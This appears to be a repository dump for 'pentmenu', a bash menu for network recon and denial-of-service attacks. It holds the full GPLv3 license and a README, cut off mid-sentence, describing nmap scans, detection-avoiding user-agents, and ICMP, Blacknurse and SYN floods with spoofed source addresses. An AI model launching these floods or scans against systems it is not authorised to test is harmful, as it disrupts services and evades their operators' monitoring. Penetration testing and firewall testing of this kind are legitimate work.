├── LICENSE ├── README.md ├── README.zh-CN.md └── pentmenu /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pentmenu 2 | 3 | [中文说明](/README.zh-CN.md) 4 | 5 | **A bash select menu for quick and easy network recon and DOS attacks** 6 | 7 | 8 | Sudo is implemented where necessary. 9 | Tested on Debian and Arch. 10 | 11 | **Contributions and pull requests are most welcome!** 12 | 13 | ## Requirements: 14 | 15 | * bash 16 | 17 | * sudo 18 | 19 | * curl 20 | 21 | * netcat (must support '-k' option, openbsd variant recommended) 22 | 23 | * hping3 (or nping can be used as a substitute for flood attacks) 24 | 25 | * openssl 26 | 27 | * stunnel 28 | 29 | * nmap 30 | 31 | * whois (not essential but preferred) 32 | 33 | * nslookup (or 'host') 34 | 35 | * ike-scan 36 | 37 | * bind-tools (often part of the 'bind' package, needed for "host" and "nslookup") 38 | 39 | ## How to use? 40 | 41 | 42 | - Download the script: 43 | 44 | ``` 45 | $ wget https://raw.githubusercontent.com/GinjaChris/pentmenu/master/pentmenu 46 | ``` 47 | 48 | - Make it executable: 49 | 50 | ``` 51 | $ chmod +x ./pentmenu 52 | ``` 53 | 54 | - Run it: 55 | 56 | ``` 57 | $ ./pentmenu 58 | ``` 59 | 60 | Alternatively, download the latest release from https://github.com/GinjaChris/pentmenu/releases, extract it and run the script. 61 | Or use git clone: 62 | 63 | ``` 64 | git clone https://github.com/GinjaChris/pentmenu 65 | ``` 66 | 67 | ## Module detail 68 | 69 | **RECON MODULES** 70 | 71 | * Show IP - uses curl to perform a lookup of your external IP. Runs ip a or ifconfig (as appropriate) to show local interface IP's. 72 | 73 | 74 | * DNS Recon - passive recon, performs a DNS lookup (forward or reverse as appropriate for target input) and a whois lookup of the target. If whois is not available it will perform a lookup against ipinfo.io (only works for IP's, not hostnames). 75 | 76 | 77 | * Ping Sweep - uses nmap to perform an ICMP echo (ping) against the target host or network. 78 | 79 | 80 | * Quick Scan - TCP Port scanner using nmap to scan for open ports using TCP SYN scan. Nmap will not perform a ping sweep prior to performing the TCP SYN scan. This module scans the 1,000 most common ports. This module can, of course, be used to scan a single host or a full network but is really designed to identify targets across a range of IP addresses. This scan can take a long time to finish, please be patient. 81 | 82 | 83 | * Detailed Scan - uses nmap to identify live hosts, open ports, attempts OS identification, grabs banners/identifies running software version. Nmap will not perform a ping sweep prior as part of this scan. Nmap's default User-Agent string is changed to that of Microsoft Edge browser in this mode, to help avoid detection via HTTP. *All* TCP ports on the target (hostname/IP/subnet) are scanned. Whilst module can scan a single host or many hosts, its intended use is to perform an information gathering scan against a single system. This scan can take a long time to finish, please be patient. 84 | 85 | 86 | * UDP scan - uses nmap to scan for open UDP ports. *All* UDP ports are scanned. 87 | 88 | 89 | * Check Server Uptime - estimates the uptime of the target by querying an open TCP port with hping3. Accuracy of the results varies from one machine to another; this does not work against all servers. 90 | 91 | 92 | * IPsec Scan - attempts to identify the presence of an IPsec VPN server with the use of ike-scan and various Phase 1 proposals. Any text output from this module, whether it be regarding "handshake" or "no proposal chosen", indicates the presence of an IPsec VPN server. See http://nta-monitor.com/wiki/index.php/Ike-scan_User_Guide for an excellent overview of ike-scan and VPN phase 1. 93 | 94 | 95 | **DOS MODULES** 96 | 97 | * ICMP Echo Flood - uses hping3 to launch a traditional ICMP Echo flood against the target. On a modern system you are unlikely to achieve much, but it is useful to test against firewalls to observe their behaviour. Use 'Ctrl C' to end the flood. 98 | The source address of flood packets is configurable. Note that the target can be an IP (i.e 127.0.0.1) or a hostname (i.e localhost.localnet.com). Do NOT include the protocol as part of the target (i.e. http://localhost.localnet.com). 99 | 100 | 101 | * ICMP Blacknurse Flood - uses hping3 to launch an ICMP flood against the target. ICMP packets are of type "Destination Unreachable, Port Unreachable". This attack can cause high CPU usage on many systems. Use 'Ctrl C' to end the attack. See http://blacknurse.dk/ for more information. The source address of flood packets is configurable. 102 | 103 | 104 | * TCP SYN Flood - sends a flood of TCP SYN packets using hping3. If hping3 is not found, it attempts to use the nmap-nping utility instead. Hping3 is preferred since it sends packets as fast as possible. Options are provided to use a source IP of your interface, or specify (spoof) a source IP, or spoof a random source IP for each packet. 105 | Optionally, you can add data to the SYN packet. All SYN packets have the fragmentation bit set and use hpings virtual MTU of 16 bytes, guaranteeing fragmentation. 106 | Falling back to nmap-nping means sending X number of packets per second until Y number of packets is sent and only allows the use of interface IP or a specified (spoofed) source IP. 107 | A TCP SYN flood is unlikely to break a server, but is a good way to test switch/router/firewall infrastructure and state tables. 108 | Note that whilst hping will report the outbound interface and 